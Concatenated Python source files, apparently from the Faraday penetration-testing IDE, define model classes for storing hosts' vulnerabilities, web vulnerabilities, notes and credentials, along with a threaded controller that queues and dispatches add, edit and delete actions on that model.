813 def updateID(self):
814 self._id = get_hash([self.name, self._text])
815 self._prependParentId()
816
817 def _setText(self, text):
818 # clear buffer then write new text
819 # self._text.seek(0)
820 # self._text.truncate()
821 # self._text.write(text)
822 self._text = str(text)
823
824 def _getText(self):
825 # return self._text.getvalue()
826 return self._text
827
828 def getText(self):
829 # return self._text.getvalue()
830 return self._text
831
832 def setText(self, text):
833 # return self._text.getvalue()
834 self._text = str(text)
835
836 text = property(_getText, _setText)
837
838 #@save
839 @updateLocalMetadata
840 def updateAttributes(self, name=None, text=None):
841 if name is not None:
842 self.setName(name)
843 if text is not None:
844 self.text = text
845
846 def __str__(self):
847 return "%s: %s" % (self.name, self.text)
848
849 def __repr__(self):
850 return "%s: %s" % (self.name, self.text)
851
852 #-------------------------------------------------------------------------------
853 class ModelObjectVuln(ModelComposite):
854 """
855 Simple class to store vulnerability about any object.
856 id will be used to number vulnerability (based on a counter on the object being commented)
857 parent will be a reference to the object being commented.
858 """
859 class_signature = "Vulnerability"
860
861 def __init__(self, name="",desc="", ref=None, severity="", parent_id=None):
862 """
863 The parameters refs can be a single value or a list with values
864 """
865 ModelComposite.__init__(self, parent_id)
866 self.name = name
867 self._desc = desc
868 self.data = ""
869
870 self.refs = []
871
872 if isinstance(ref, list):
873 self.refs.extend(ref)
874 elif ref is not None:
875 self.refs.append(ref)
876
877 # Severity Standarization
878 self.severity = self.standarize(severity)
879
880 def standarize(self, severity):
881 # Transform all severities into lower strings
882 severity = str(severity).lower()
883 # If it has info, med, high, critical in it, standarized to it:
884
885
886 def align_string_based_vulns(severity):
887 severities = ['info','low', 'med', 'high', 'critical']
888 for sev in severities:
889 if severity[0:3] in sev:
890 return sev
891 return severity
892
893 severity = align_string_based_vulns(severity)
894
895 # Transform numeric severity into desc severity
896 numeric_severities = { '0' : 'info',
897 '1' : 'low',
898 '2' : 'med',
899 '3' : 'high',
900 "4" : 'critical' }
901
902
903 if not severity in numeric_severities.values():
904 severity = numeric_severities.get(severity, 'unclassified')
905
906 return severity
907
908 def updateID(self):
909 self._id = get_hash([self.name, self._desc])
910 self._prependParentId()
911
912 def _setDesc(self, desc):
913 self._desc = desc
914
915 #@save
916 @updateLocalMetadata
917 def updateAttributes(self, name=None, desc=None, severity=None, refs=None):
918 if name is not None:
919 self.setName(name)
920 if desc is not None:
921 self.setDescription(desc)
922 if severity is not None:
923 self.severity = self.standarize(severity)
924 if refs is not None:
925 self.refs = refs
926
927 def _getDesc(self):
928 #return self._desc.getvalue()
929 return self._desc
930
931 desc = property(_getDesc, _setDesc)
932
933 def setDesc(self, desc):
934 self._desc = desc
935
936 def getDesc(self):
937 return self._desc
938
939 def getSeverity(self):
940 return self.severity
941
942 def setSeverity(self, severity):
943 self.severity = self.standarize(severity)
944
945 def getRefs(self):
946 return self.refs
947
948 def setRefs(self, refs):
949 if isinstance(refs, list):
950 self.refs.extend(refs)
951 elif ref is not None:
952 self.refs.append(refs)
953
954 def setData(self, data):
955 self.data = data
956
957 def getData(self):
958 return self.data
959
960
961 def __str__(self):
962 return "vuln id:%s - %s" % (self.id, self.name)
963
964 def __repr__(self):
965 return self.__str__()
966
967 def getSeverity(self):
968 return self.severity
969
970 #-------------------------------------------------------------------------------
971 class ModelObjectVulnWeb(ModelObjectVuln):
972 """
973 Simple class to store vulnerability web about any object.
974 This Vuln support path, hostname, request and response
975 parent will be a reference to the ModelObjectVuln being commented.
976 """
977 class_signature = "VulnerabilityWeb"
978
979 def __init__(self, name="",desc="", website="", path="", ref=None, severity="", request="", response="",
980 method="",pname="", params="",query="",category="", parent_id=None):
981 """
982 The parameters ref can be a single value or a list with values
983 """
984 ModelObjectVuln.__init__(self, name,desc, ref, severity, parent_id)
985 self.path = path
986 self.website = website
987 self.request = request
988 self.response = response
989 self.method = method
990 self.pname = pname
991 self.params = params
992 self.query = query
993 self.category = category
994
995 def updateID(self):
996 self._id = get_hash([self.name, self.website, self.path, self.desc ])
997 self._prependParentId()
998
999 def getPath(self):
1000 return self.path
1001
1002 def setPath(self, path):
1003 self.path = path
1004
1005 def getWebsite(self):
1006 return self.website
1007
1008 def setWebsite(self, website):
1009 self.website = website
1010
1011 def getRequest(self):
1012 return self.request
1013
1014 def setRequest(self, request):
1015 self.request = request
1016
1017 def getResponse(self):
1018 return self.response
1019
1020 def setResponse(self, response):
1021 self.response = response
1022
1023 def getMethod(self):
1024 return self.method
1025
1026 def setMethod(self, method):
1027 self.method = method
1028
1029 def getPname(self):
1030 return self.pname
1031
1032 def setPname(self, pname):
1033 self.pname = pname
1034
1035 def getParams(self):
1036 return self.params
1037
1038 def setParams(self, params):
1039 self.params = params
1040
1041 def getQuery(self):
1042 return self.query
1043
1044 def setQuery(self, query):
1045 self.query = query
1046
1047 def getCategory(self):
1048 return self.category
1049
1050 def setCategory(self, category):
1051 self.category = category
1052
1053 #@save
1054 @updateLocalMetadata
1055 def updateAttributes(self, name=None, desc=None, website=None, path=None, refs=None, severity=None, request=None,
1056 response=None, method=None, pname=None, params=None, query=None, category=None):
1057 super(ModelObjectVulnWeb, self).updateAttributes(name, desc, severity, refs)
1058 if website is not None:
1059 self.website = website
1060 if path is not None:
1061 self.path = path
1062 if request is not None:
1063 self.request = request
1064 if response is not None:
1065 self.response = response
1066 if method is not None:
1067 self.method = method
1068 if pname is not None:
1069 self.pname = pname
1070 if params is not None:
1071 self.params = params
1072 if query is not None:
1073 self.query = query
1074 if category is not None:
1075 self.category = category
1076
1077
1078 #-------------------------------------------------------------------------------
1079 class ModelObjectCred(ModelLeaf):
1080 """
1081 Simple class to store credentials about any object.
1082 id will be used to number credentials (based on a counter on the object being commented)
1083 parent will be a reference to the object being commented.
1084 To assing new password this:
1085 >>> cred.password = "foobar"
1086 to append text + or += operators can be used (no need to use password property):
1087 >>> cred += " hello world!"
1088 """
1089 class_signature = "Cred"
1090
1091 def __init__(self, username="", password="", parent_id=None):
1092 ModelLeaf.__init__(self, parent_id)
1093 self._username = str(username)
1094 self._password = str(password)
1095
1096 def updateID(self):
1097 self._id = get_hash([self._username, self._password])
1098 self._prependParentId()
1099
1100 def setPassword(self, password):
1101 self._password = str(password)
1102
1103 def getPassword(self):
1104 return self._password
1105
1106 def getUsername(self):
1107 return self._username
1108
1109 def setUsername(self, username):
1110 self._username = str(username)
1111
1112 password = property(getPassword, setPassword)
1113
1114 username = property(getUsername, setUsername)
1115
1116 #@save
1117 @updateLocalMetadata
1118 def updateAttributes(self, username=None, password=None):
1119 if username is not None:
1120 self.setUsername(username)
1121 if password is not None:
1122 self.setPassword(password)
1123
1124 class TreeWordsTries(object):
1125 instance = None
1126 END = '_end_'
1127 root = dict()
1128 FOUND = True
1129
1130 def __init__(self):
1131 self.partial_match = False
1132 self.partial_match_dict = {}
1133 self.cur_idx = 0
1134
1135 def addWord(self, word):
1136 current_dict = self.root
1137 for letter in word:
1138 current_dict = current_dict.setdefault(letter, {})
1139
1140 current_dict = current_dict.setdefault(self.END, self.END)
1141
1142 def getWordsInText(self, text):
1143 current_dict = self.root
1144 list_of_word = list()
1145 w = ''
1146 for letter in text:
1147 if letter in current_dict:
1148 current_dict = current_dict[letter]
1149 w += letter
1150 elif self.END in current_dict:
1151 list_of_word.append(w)
1152 current_dict = self.root
1153 w = ''
1154 else:
1155 current_dict = self.root
1156 w = ''
1157
1158 if self.END in current_dict:
1159 list_of_word.append(w)
1160
1161 return list_of_word
1162
1163
1164 def isInTries(self, word):
1165 current_dict = self.root
1166
1167 if word is None:
1168 return False
1169
1170 for letter in word:
1171 if letter in current_dict:
1172 current_dict = current_dict[letter]
1173 else:
1174 return not self.FOUND
1175 else:
1176 if self.END in current_dict:
1177 return self.FOUND
1178 else:
1179 return False
1180
1181 def __new__(cls, *args, **kargs):
1182 if cls.instance is None:
1183 cls.instance = object.__new__(cls, *args, **kargs)
1184 return cls.instance
1185
1186 def removeWord(self, word):
1187 previous_dict = None
1188 current_dict = self.root
1189 last_letter = ''
1190
1191 if not self.isInTries(word):
1192 return
1193
1194 for letter in word:
1195 if letter in current_dict:
1196 if not previous_dict:
1197 previous_dict = current_dict
1198 last_letter = letter
1199 if len(current_dict.keys()) != 1:
1200 previous_dict = current_dict
1201 last_letter = letter
1202 current_dict = current_dict[letter]
1203 else:
1204 if self.END in current_dict:
1205 previous_dict.pop(last_letter)
1206
1207 def clear(self):
1208 self.root = dict()
1209 self.FOUND = True
1210
1211
1212
1213 #-------------------------------------------------------------------------------
1214 # taken from http://code.activestate.com/recipes/576477-yet-another-signalslot-implementation-in-python/
1215 # under MIT License
1216 #TODO: decide if we are going to use this...
1217 class Signal(object):
1218 """
1219 used to handle signals between several objects
1220 """
1221 def __init__(self):
1222 self.__slots = WeakValueDictionary()
1223
1224 def __call__(self, *args, **kargs):
1225 for key in self.__slots:
1226 func, _ = key
1227 func(self.__slots[key], *args, **kargs)
1228
1229 def connect(self, slot):
1230 key = (slot.im_func, id(slot.im_self))
1231 self.__slots[key] = slot.im_self
1232
1233 def disconnect(self, slot):
1234 key = (slot.im_func, id(slot.im_self))
1235 if key in self.__slots:
1236 self.__slots.pop(key)
1237
1238 def clear(self):
1239 self.__slots.clear()
1240
1241 #-------------------------------------------------------------------------------
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7
8 class Conflict():
9
10 def __init__(self, old_object, new_object):
11 self.type = None
12 self.model_object_type = old_object.class_signature
13 self.first_object = old_object
14 self.second_object = new_object
15
16 def getFirstObject(self):
17 return self.first_object
18
19 def getSecondObject(self):
20 return self.second_object
21
22 def getType(self):
23 return self.type
24
25 def getModelObjectType(self):
26 return self.model_object_type
27
28 def resolve(self, kwargs):
29 return False
30
31
32 class ConflictUpdate(Conflict):
33
34 def __init__(self, first_object, second_object):
35 Conflict.__init__(self, first_object, second_object)
36 self.type = "Update"
37
38 def resolve(self, kwargs):
39 self.first_object.updateAttributes(**kwargs)
40 self.first_object.updateResolved(self)
41 return True
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8
9 from model.hosts import Host
10 import model
11 from mockito import mock
12 import traceback
13
14 class ModelObjectContainer(dict):
15
16 """Used to provide a consistent interface while adding model objects to the currently running environment"""
17 def __init__(self, *args):
18 self.container = {}
19
20 def __setitem__(self, k, v):
21
22 self.container.__setitem__(k, v)
23
24 def __getitem__(self, k):
25 return self.container.get(k)
26
27 def __getattr__( self, name):
28 return getattr(self.container, name)
29
30 def itervalues(self):
31 return self.container.itervalues()
32
33 def values(self):
34 return self.container.values()
35
36 def keys(self):
37 return self.container.keys()
38
39 def __str__(self):
40 return str(self.container)
41
42 def clear(self):
43 self.container.clear()
44
45 def __contains__(self, elem):
46 return self.container.__contains__(elem)
47
48 def containsByAttr(self, attrName, attrValue):
49 for k, elem in self.container:
50 if elem.__getattribute__(attrName) == attrValue:
51 return True
52 return False
53
54 def __len__(self):
55 return len(self.container)
56
57 def __delitem__(self, k):
58 self.container.__delitem__(k)
59
60
61 class CouchedModelObjectContainer(ModelObjectContainer):
62 def __init__(self, workspaceName, couchManager):
63 ModelObjectContainer.__init__(self)
64 self.cdm = couchManager
65 self.workspaceName = workspaceName
66
67 def __setitem__(self, k, v):
68 ModelObjectContainer.__setitem__(self, k, v)
69
70
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import time
7 import threading
8 import Queue
9 import traceback
10 import model.common # this is to make sure the factory is created
11 import model.hosts
12
13 from config.configuration import getInstanceConfiguration
14 from model.common import TreeWordsTries
15 from utils.logs import getLogger
16 import model.api as api
17 #import model.guiapi as guiapi
18 from model.guiapi import notification_center as notifier
19 from gui.customevents import *
20
21
22 #XXX: consider re-writing this module! There's alot of repeated code
23 # and things are really messy
24
25 CONF = getInstanceConfiguration()
26
27
28 class modelactions:
29 ADDHOST = 2000
30 DELHOST = 2001
31 ADDINTERFACE = 2002
32 DELINTERFACE = 2003
33 ADDSERVICEINT = 2004
34 ADDSERVICEAPP = 2005
35 DELSERVICEINT = 2006
36 DELSERVICEAPP = 2007
37 ADDAPPLICATION = 2009
38 ADDCATEGORY = 2011
39 ADDVULNINT = 2013
40 DELVULNINT = 2014
41 ADDVULNAPP = 2015
42 DELVULNAPP = 2016
43 ADDVULNHOST = 2017
44 DELVULNHOST = 2018
45 ADDVULNSRV = 2019
46 DELVULNSRV = 2020
47 ADDNOTEINT = 2021
48 DELNOTEINT = 2022
49 ADDNOTEAPP = 2023
50 DELNOTEAPP = 2024
51 ADDNOTEHOST = 2025
52 DELNOTEHOST = 2026
53 ADDNOTESRV = 2027
54 DELNOTESRV = 2028
55 RENAMEROOT = 2029
56 ADDNOTEVULN = 2030
57 DELNOTEVULN = 2031
58 EDITHOST = 2032
59 EDITINTERFACE = 2033
60 EDITAPPLICATION = 2034
61 EDITSERVICE = 2035
62 ADDCREDSRV = 2036
63 DELCREDSRV = 2037
64 ADDVULNWEBSRV = 2038
65 DELVULNWEBSRV = 2039
66 ADDNOTENOTE = 2040
67 DELNOTENOTE = 2041
68 EDITNOTE = 2042
69 EDITVULN = 2043
70 ADDNOTE = 2044
71 DELNOTE = 2045
72 ADDVULN = 2046
73 DELVULN = 2047
74 EDITCRED = 2048
75 ADDCRED = 2049
76 DELCRED = 2050
77
78 __descriptions = {
79 ADDHOST: "ADDHOST",
80 DELHOST: "DELHOST",
81 ADDINTERFACE: "ADDINTERFACE",
82 DELINTERFACE: "DELINTERFACE",
83 ADDSERVICEINT: "ADDSERVICEINT",
84 ADDSERVICEAPP: "ADDSERVICEAPP",
85 DELSERVICEINT: "DELSERVICEINT",
86 DELSERVICEAPP: "DELSERVICEAPP",
87 ADDAPPLICATION: "ADDAPPLICATION",
88 ADDCATEGORY: "ADDCATEGORY",
89 ADDVULNINT: "ADDVULNINT",
90 DELVULNINT: "DELVULNINT",
91 ADDVULNAPP: "ADDVULNAPP",
92 DELVULNAPP: "DELVULNAPP",
93 ADDVULNHOST: "ADDVULNHOST",
94 DELVULNHOST: "DELVULNHOST",
95 ADDVULNSRV: "ADDVULNSRV",
96 DELVULNSRV: "DELVULNSRV",
97 ADDNOTEVULN: "ADDNOTEVULN",
98 DELNOTEVULN: "DELNOTEVULN",
99 ADDNOTENOTE: "ADDNOTENOTE",
100 DELNOTENOTE: "DELNOTENOTE",
101 EDITHOST: "EDITHOST",
102 EDITINTERFACE: "EDITINTERFACE",
103 EDITAPPLICATION: "EDITAPPLICATION",
104 EDITSERVICE: "EDITAPPLICATION",
105 ADDCREDSRV: "ADDCREDSRV",
106 DELCREDSRV: "DELCREDSRV",
107 ADDVULNWEBSRV: "ADDVULNSWEBRV",
108 DELVULNWEBSRV: "DELVULNWEBSRV",
109 EDITNOTE: "EDITNOTE",
110 EDITVULN: "EDITVULN",
111 EDITCRED: "EDITCRED",
112 ADDNOTE: "ADDNOTE",
113 DELNOTE: "DELNOTE",
114 ADDVULN: "ADDVULN",
115 DELVULN: "DELVULN",
116 ADDCRED: "ADDCRED",
117 DELCRED: "DELCRED"
118 }
119
120 @staticmethod
121 def getDescription(action):
122 return modelactions.__descriptions.get(action, "")
123
124
125 class ModelController(threading.Thread):
126
127 def __init__(self, security_manager, mappers_manager):
128 threading.Thread.__init__(self)
129
130 self.__sec = security_manager
131 self.mappers_manager = mappers_manager
132
133 # set as daemon
134 self.setDaemon(True)
135
136 #TODO: think of a good way to handle cross reference between hosts and
137 #categories
138 self._categories = {}
139 self._categories[CONF.getDefaultCategory()] = []
140
141 # dictionary with host ids as key
142 self._hosts = None
143
144 # flag to stop daemon thread
145 self._stop = False
146 # locks needed to make model thread-safe
147 self._hosts_lock = threading.RLock()
148
149 #TODO: check if it is better using collections.deque
150 # a performance analysis should be done
151 # http://docs.python.org/library/collections.html#collections.deque
152
153 # the actions queue
154 self._pending_actions = Queue.Queue()
155
156 # a reference to the ModelObjectFactory
157 self._object_factory = model.common.factory
158 self._registerObjectTypes()
159
160 # sync api request flag. This flag is used to let the model know
161 # there's some other object trying to use a sync api, and it should
162 # give priority to that and stop processing the queue
163 self._sync_api_request = False
164
165 # This flag & lock are used when the complete model is being persisted
166 self._saving_model_flag = False
167 self._saving_model_lock = threading.RLock()
168
169 self._actionDispatcher = None
170 self._setupActionDispatcher()
171
172 self.objects_with_updates = []
173
174 #used to highligthing
175 self.treeWordsTries = TreeWordsTries()
176
177 def __getattr__(self, name):
178 getLogger(self).debug("ModelObject attribute to refactor: %s" % name)
179
180 def __acquire_host_lock(self):
181 self._saving_model_lock.acquire()
182 self._saving_model_lock.release()
183 self._hosts_lock.acquire()
184
185 def __release_host_lock(self):
186 try:
187 self._hosts_lock.release()
188 except RuntimeError:
189 pass
190
191 def _registerObjectTypes(self):
192 """
193 Registers in the factory all object types that can be created
194 """
195 # This could be done in hosts module, but it seems easier to maintain
196 # if we have all in one place inside the controller
197 self._object_factory.register(model.hosts.Host)
198 self._object_factory.register(model.hosts.Interface)
199 self._object_factory.register(model.hosts.Service)
200 self._object_factory.register(model.hosts.HostApplication)
201 self._object_factory.register(model.common.ModelObjectVuln)
202 self._object_factory.register(model.common.ModelObjectVulnWeb)
203 self._object_factory.register(model.common.ModelObjectNote)
204 self._object_factory.register(model.common.ModelObjectCred)
205
206 def _setupActionDispatcher(self):
207 self._actionDispatcher = {
208 modelactions.ADDHOST: self.__add,
209 modelactions.DELHOST: self.__del,
210 modelactions.EDITHOST: self.__edit,
211 modelactions.ADDINTERFACE: self.__add,
212 modelactions.DELINTERFACE: self.__del,
213 modelactions.EDITINTERFACE: self.__edit,
214 modelactions.ADDSERVICEINT: self.__add,
215 modelactions.DELSERVICEINT: self.__del,
216 modelactions.EDITSERVICE: self.__edit,
217 #Vulnerability
218 modelactions.ADDVULNINT: self.__add,
219 modelactions.DELVULNINT: self.__del,
220 modelactions.ADDVULNHOST: self.__add,
221 modelactions.DELVULNHOST: self.__del,
222 modelactions.ADDVULNSRV: self.__add,
223 modelactions.DELVULNSRV: self.__del,
224 modelactions.ADDVULN: self.__add,
225 modelactions.DELVULN: self.__del,
226 modelactions.ADDVULNWEBSRV: self.__add,
227 modelactions.EDITVULN: self.__edit,
228 #Note
229 modelactions.ADDNOTEINT: self.__add,
230 modelactions.DELNOTEINT: self.__del,
231 modelactions.ADDNOTEHOST: self.__add,
232 modelactions.DELNOTEHOST: self.__del,
233 modelactions.ADDNOTESRV: self.__add,
234 modelactions.DELNOTESRV: self.__del,
235 modelactions.ADDNOTEVULN: self.__add,
236 modelactions.ADDNOTE: self.__add,
237 modelactions.DELNOTE: self.__del,
238 modelactions.ADDCREDSRV: self.__add,
239 modelactions.DELCREDSRV: self.__del,
240 modelactions.ADDNOTENOTE: self.__add,
241 modelactions.EDITNOTE: self.__edit,
242 modelactions.EDITCRED: self.__edit,
243 modelactions.ADDCRED: self.__add,
244 modelactions.DELCRED: self.__del
245 }
246
247 def run(self):
248 return self._main()
249
250 def stop(self):
251 """
252 Sets the flag to stop daemon
253 """
254 self._stop = True
255
256 def _dispatchActionWithLock(self, action_callback, *args):
257 res = False
258 self.__acquire_host_lock()
259 try:
260 res = action_callback(*args)
261 except Exception:
262 api.log("An exception occurred while dispatching an action (%r(%r)\n%s" %
263 (action_callback, args, traceback.format_exc()), "ERROR")
264 finally:
265 self.__release_host_lock()
266 return res
267
268 def _processAction(self, action, parameters, sync=False):
269 """
270 decodes and performs the action given
271 It works kind of a dispatcher
272 """
273 if sync:
274 self._sync_api_request = True
275
276 api.devlog("_processAction - %s - parameters = %s" %
277 (action, str(parameters)))
278
279 action_callback = self._actionDispatcher[action]
280 res = self._dispatchActionWithLock(action_callback, *parameters)
281
282 # finally we notify the widgets about this change
283 #if res: # notify only if action was done successfuly
284 #self._notifyModelUpdated(*parameters)
285 #else:
286 if not res:
287 api.devlog("Action code %d failed. Parameters = %s" %
288 (action, str(parameters)))
289 if sync:
290 self._sync_api_request = False
291
292 def getConflicts(self):
293 conflicts = []
294 for obj in self.objects_with_updates:
295 conflicts += obj.getUpdates()
296 return conflicts
297
298 def resolveConflicts(self):
299 notifier.conflictResolution(self.getConflicts())
300
301 def resolveConflict(self, conflict, kwargs):
302 if self.__edit(conflict.getFirstObject(), **kwargs):
303 conflict.getFirstObject().updateResolved(conflict)
304 if conflict.getModelObjectType() == "Interface":
305 ipv4 = kwargs['ipv4']
306 ipv6 = kwargs['ipv6']
307 hostnames = kwargs['hostnames']
308
309 if not ipv4['address'] in ["0.0.0.0", None]:
310 self.treeWordsTries.removeWord(ipv4['address'])
311 self.treeWordsTries.addWord(ipv4['address'])
312
313 if not ipv6['address'] in ["0000:0000:0000:0000:0000:0000:0000:0000", None]:
314 self.treeWordsTries.removeWord(ipv6['address'])
315 self.treeWordsTries.addWord(ipv6['address'])
316
317 for h in hostnames:
318 if h is not None:
319 self.treeWordsTries.removeWord(h)
320 self.treeWordsTries.addWord(h)
321
322 notifier.conflictUpdate(-1)
323 #notifier.editHost(conflict.getFirstObject().getHost())
324 #self._notifyModelUpdated()
325
326 def removeConflictsByObject(self, obj):
327 if obj in self.objects_with_updates:
328 self.objects_with_updates.remove(obj)
329 notifier.conflictUpdate(-len(obj.getUpdates()))
330
331 def setSavingModel(self, value):
332 api.devlog("setSavingModel: %s" % value)
333 self._saving_model_flag = value
334 if value:
335 self._saving_model_lock.acquire()
336 else:
337 try:
338 self._saving_model_lock.release()
339 except RuntimeError:
340 pass
341
342 def _main(self):
343 """
344 The main method for the thread.
345 The controller will be constantly checking a queue
346 to see if new actions were added.
347 This will make host addition and removal "thread-safe" and will
348 avoid locking components that need to interact with the model
349 """
350 while True:
351 # check if thread must finish
352 if self._stop:
353 return
354 # first we check if there is a sync api request
355 # or if the model is being saved/sync'ed
356 # or if we have pending duplicated hosts that need to be
357 # merged by the userget
358 if not self._sync_api_request and not self._saving_model_flag:
359
360 self.processAction()
361 else:
362 # there is some object requesting for a sync api so we
363 # sleep the thread execution for a moment to let others work
364 # XXX: check if this time is not too much...
365 time.sleep(0.01)
366
367 def processAllPendingActions(self):
368 [self.processAction() for i in range(self._pending_actions.qsize())]
369
370 def processAction(self):
371 # check the queue for new actions
372 # if there is no new action it will block until timeout is reached
373 try:
374 # get new action or timeout (in secs)
375 #TODO: timeout should be set through config
376 current_action = self._pending_actions.get(timeout=2)
377 action = current_action[0]
378 parameters = current_action[1:]
379 # dispatch the action
380 self._processAction(action, parameters)
381 except Queue.Empty:
382 # if timeout was reached, just let the daemon run again
383 # this is done just to be able to test the stop flag
384 # because if we don't do it, the daemon will be blocked forever
385 pass
386 except Exception:
387 getLogger(self).devlog("something strange happened... unhandled exception?")
388 getLogger(self).devlog(traceback.format_exc())
389
390 def sync_lock(self):
391 self._sync_api_request = True
392 self.__acquire_host_lock()
393
394 def sync_unlock(self):
395 self._sync_api_request = False
396 self.__release_host_lock()
397
398 # TODO: >>> APIs <<< we have to know which plugin called the apis to store
399 # in the history
400
401 def __addPendingAction(self, *args):
402 """
403 Adds a new pending action to the queue
404 Action is build with generic args tuple.
405 The caller of this function has to build the action in the right
406 way since no checks are preformed over args
407 """
408 new_action = args
409 self._pending_actions.put(new_action)
410
411 def addUpdate(self, old_object, new_object):
412 # Returns True if the update was resolved without user interaction
413 res = True
414 try:
415 mergeAction = old_object.addUpdate(new_object)
416 if mergeAction:
417 if old_object not in self.objects_with_updates:
418 self.objects_with_updates.append(old_object)
419 notifier.conflictUpdate(1)
420 res = False
421 except:
422 res = False
423 api.devlog("(%s).addUpdate(%s, %s) - failed" %
424 (self, old_object, new_object))
425 return res
426
427 def find(self, obj_id):
428 return self.mappers_manager.find(obj_id)
429
430 def addHostASYNC(self, host, category=None, update=False, old_hostname=None):
431 """
432 ASYNC API
433 Adds an action to the ModelController actions queue indicating a
434 new host must be added to the model
435 """
436 self.__addPendingAction(modelactions.ADDHOST, host, category, update, old_hostname)
437
438 def addHostSYNC(self, host, category=None, update=False, old_hostname=None):
439 """
440 SYNC API
441 Adds a host directly to the model
442 """
443 self._processAction(modelactions.ADDHOST, [host, None], sync=True)
444
445 def __add(self, obj, parent_id=None, *args):
446 dataMapper = self.mappers_manager.getMapper(obj.class_signature)
447 old_obj = dataMapper.find(obj.getID())
448 if old_obj:
449 if not old_obj.needs_merge(obj):
450 #the object is exactly the same,
451 # so return and do nothing
452 return True
453 if not self.addUpdate(old_obj, obj):
454 return False
455 dataMapper.save(old_obj)
456 notifier.editHost(old_obj.getHost())
457 else:
458 object_parent = self.mappers_manager.find(parent_id)
459 if object_parent:
460 object_parent.addChild(obj)
461 dataMapper.save(obj)
462 self.treeWordsTries.addWord(obj.getName())
463 if obj.class_signature == model.hosts.Host.class_signature:
464 notifier.addHost(obj)
465 else:
466 notifier.editHost(obj.getHost())
467
468 return True
469
470 def __edit(self, obj, *args, **kwargs):
471 dataMapper = self.mappers_manager.getMapper(obj.class_signature)
472 obj.updateAttributes(*args, **kwargs)
473 dataMapper.save(obj)
474 # self.treeWordsTries.addWord(obj.getName())
475
476 if obj.class_signature == model.hosts.Host.class_signature:
477 notifier.editHost(obj)
478 else:
479 notifier.editHost(obj.getHost())
480 return True
481
482 def __del(self, objId, *args):
483 obj = self.mappers_manager.find(objId)
484 if obj:
485 obj_parent = obj.getParent()
486 if obj_parent:
487 obj_parent.deleteChild(objId)
488
489 if obj.getName():
490 self.treeWordsTries.removeWord(obj.getName())
491
492 self.removeConflictsByObject(obj)
493
494 self.mappers_manager.remove(objId)
495
496 if obj.class_signature == model.hosts.Host.class_signature:
497 notifier.delHost(objId)
498 else:
499 notifier.editHost(obj.getHost())
500 return True
501 return False
502
503 def delHostASYNC(self, hostId):
504 """
505 ASYNC API
506 Adds an action to the ModelController actions queue indicating a
507 particular host must be removed from the model
508 """
509 self.__addPendingAction(modelactions.DELHOST, hostId)
510
511 def delHostSYNC(self, hostId):
512 """
513 SYNC API
514 Deletes a host from model
515 """
516 self._processAction(modelactions.DELHOST, [hostId], sync=True)
517
518
519 def editHostSYNC(self, host, name, description, os, owned):
520 """
521 SYNC API
522 Modifies a host from model
523 """
524 self._processAction(modelactions.EDITHOST, [host, name, description, os, owned], sync=True)
525
526 def addInterfaceASYNC(self, hostid, interface, update=False):
527 """
528 ASYNC API
529 Adds an action to the ModelController actions queue indicating a
530 new interface must be added to a specific host
531 """
532 self.__addPendingAction(modelactions.ADDINTERFACE, interface, hostid)
533
534 def addInterfaceSYNC(self, hostId, interface, update=False):
535 """
536 SYNC API
537 Adds interface directly to the model
538 """
539 self._processAction(modelactions.ADDINTERFACE, [interface, hostId], sync=True)
540
541 def delInterfaceASYNC(self, hostId, interfaceId):
542 """
543 ASYNC API
544 Adds an action to the ModelController actions queue indicating a
545 particular host must be removed from the model
546 """
547 self.__addPendingAction(modelactions.DELINTERFACE, interfaceId, hostId)
548
549 def delInterfaceSYNC(self, host, interface_id, *args):
550 """
551 SYNC API
552 Deletes an interface from model
553 """
554 self._processAction(modelactions.DELINTERFACE, [interface_id], sync=True)
555
556 def editInterfaceSYNC(self, interface, name, description, hostnames,
557 mac, ipv4, ipv6, network_segment,
558 amount_ports_opened, amount_ports_closed,
559 amount_ports_filtered, owned):
560 """
561 SYNC API
562 Modifies an interface from model
563 """
564 self._processAction(modelactions.EDITINTERFACE,
565 [interface, name, description, hostnames,
566 mac, ipv4, ipv6, network_segment,
567 amount_ports_opened, amount_ports_closed,
568 amount_ports_filtered, owned], sync=True)
569
570 def addServiceToInterfaceASYNC(self, host, interfaceId, newService):
571 """
572 ASYNC API
573 Adds an action to the ModelController actions queue indicating a
574 new services must be added to a specific host in a specific interface
575 """
576 self.__addPendingAction(modelactions.ADDSERVICEINT, newService, interfaceId)
577
578 def addServiceToInterfaceSYNC(self, host_id, interface_id, newService):
579 """
580 SYNC API
581 Adds a service to a specific host in a specific interface
582 directly to the model
583 """
584 self._processAction(modelactions.ADDSERVICEINT, [newService, interface_id], sync=True)
585
586 def delServiceFromInterfaceASYNC(self, host, interfaceId, serviceId):
587 """
588 ASYNC API
589 Adds an action to the ModelController actions queue indicating a
590 particular service in a host and interface must be removed from the
591 model Interface parameter can be "ALL"
592 """
593 self.__addPendingAction(modelactions.DELSERVICEINT, serviceId, interfaceId)
594
595 def delServiceFromInterfaceSYNC(self, host, interfaceId, serviceId):
596 """
597 SYNC API
598 Delete a service in a host and interface from the model
599 """
600 self._processAction(modelactions.DELSERVICEINT, [serviceId], sync=True)
601
602 def delServiceFromApplicationASYNC(self, host, appname, service):
603 """
604 ASYNC API
605 Adds an action to the ModelController actions queue indicating a
606 particular service in a host and interface must be removed from the model
607 appname parameter can be "ALL"
608 """
609 self.__addPendingAction(modelactions.DELSERVICEAPP, host, appname, service)
610
611 def delServiceFromApplicationSYNC(self, host, appname, service):
612 """
613 SYNC API
614 Delete a service in a host and application from the model
615 """
616 self._processAction(modelactions.DELSERVICEAPP, [host, appname, service], sync=True)
617
618 def editServiceSYNC(self, service, name, description, protocol, ports, status, version, owned):
619 """
620 SYNC API
621 Modifies a host from model
622 """
623 self._processAction(modelactions.EDITSERVICE, [service, name, description, protocol, ports, status, version, owned], sync=True)
624
625 def editServiceASYNC(self, service, name, description, protocol, ports, status, version, owned):
626 """
627 ASYNC API
628 Modifies a service from model
629 """
630 self.__addPendingAction(modelactions.EDITSERVICE, service, name, description, protocol, ports, status, version, owned)
631
632 def __editService(self, service, name=None, description=None,
633 protocol=None, ports=None, status=None,
634 version=None, owned=None):
635 res = False
636 if service is not None:
